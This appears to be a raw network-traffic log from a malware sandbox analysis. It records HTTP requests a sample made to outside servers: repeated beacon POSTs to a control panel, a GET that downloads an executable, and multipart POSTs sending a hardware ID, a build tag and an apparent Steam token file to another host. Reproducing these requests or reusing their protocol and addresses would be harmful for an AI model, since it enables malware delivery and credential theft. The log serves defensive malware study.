Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file"------FIECFBAAAFHIIDGCGCBF--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="message"files------HDGDHCGCBKFHJKEBKFBF--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="build"sila------HJJEHJJKJEGHJJKEBFBG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="build"sila------DAAAKFHIEGDGCAAAEGDG--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
